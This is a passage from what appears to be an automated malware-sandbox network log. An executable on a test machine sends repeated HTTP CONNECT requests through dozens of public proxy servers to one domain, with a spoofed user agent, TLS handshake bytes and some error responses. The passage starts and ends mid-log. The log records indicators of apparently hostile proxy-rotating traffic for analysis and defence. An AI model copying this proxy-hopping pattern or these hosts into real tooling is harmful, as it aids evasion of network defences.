Mar 11, 2024 15:21:09.631042957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.288852930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.997371912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.391041040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.200607061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.936952114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.670478106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:26.229602098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:37.200059891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1584	192.168.2.9	54380	165.227.196.37	56755	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.631257057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.637964010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.638195038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.638222933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:33.637661934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:45.639971972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:57.637538910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:21.637628078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1585	192.168.2.9	53290	181.129.198.58	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.634567022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1586	192.168.2.9	55053	47.243.205.1	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.634818077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1587	192.168.2.9	50821	204.236.176.61	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.635225058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.808316946 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:09 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 15:21:09.811182022 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 13 55 06 42 01 37 40 17 1e 03 5e b6 f7 a7 ae 6f 25 69 3d 61 c8 ce f8 ba b6 75 17 7e 24 66 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eUB7@^o%i=au~$f*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 15:21:10.002650023 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 d7 eb da 2d e6 6c f9 9d 01 12 1f 31 da 29 68 be a3 ca c5 20 81 50 c0 4e 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9-l1)h PNDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311141951Z260311141951Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 15:21:10.065066099 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 5c 47 46 f7 76 91 82 81 fe a1 be 4c 0c bd 28 0a 5f 74 e4 85 66 58 bf c6 95 f6 9e a5 32 43 4c 44 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 ef 56 1a 15 fc af d5 07 93 42 0e 7f 87 25 f8 fc 36 b6 9b fc d0 Data Ascii: %! \GFvL(_tfX2CLD(VB%6fW
Mar 11, 2024 15:21:10.253590107 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 f1 39 fa 3c e9 ce b6 ef e2 a2 18 53 45 81 ef ae 8c 45 ee 34 51 de 41 cb 53 6c 92 62 65 1b 51 58 89 ec 0f f0 50 0c 93 78 Data Ascii: (9<SEE4QASlbeQXPx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1588	192.168.2.9	55059	147.75.92.251	10006	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.635588884 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:09.911387920 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1589	192.168.2.9	53258	51.15.242.202	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.636264086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.700463057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.993639946 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.21.6 Date: Mon, 11 Mar 2024 14:21:12 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 36 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.21.6</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1590	192.168.2.9	55052	45.120.178.197	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.636846066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1591	192.168.2.9	55054	47.56.110.204	8989	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.637418985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1592	192.168.2.9	53175	186.46.34.20	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.637799025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.700458050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1593	192.168.2.9	50813	162.241.70.64	49478	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.639170885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.700460911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1594	192.168.2.9	53202	161.97.173.42	37455	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.639592886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.700478077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.794107914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.836647987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1595	192.168.2.9	55069	139.162.238.184	22243	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.639594078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.289109945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.200798988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.997279882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.497309923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.887990952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1596	192.168.2.9	55058	167.71.5.83	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.642549038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.228554010 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1597	192.168.2.9	50982	162.240.78.74	61792	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.642775059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.825086117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1598	192.168.2.9	55075	190.239.23.33	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.652710915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1599	192.168.2.9	53271	92.204.134.38	54467	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.671681881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.492948055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.814116955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:44.262598991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:25.153081894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1600	192.168.2.9	54830	192.252.211.197	14921	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.672070026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1601	192.168.2.9	53213	161.97.163.52	9045	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.673515081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.700478077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.794107914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.836647987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1602	192.168.2.9	55078	1.15.62.12	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.679975033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.403479099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1603	192.168.2.9	54466	195.138.65.34	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.681026936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1604	192.168.2.9	55077	94.45.74.60	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.681677103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1605	192.168.2.9	55057	213.57.128.161	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
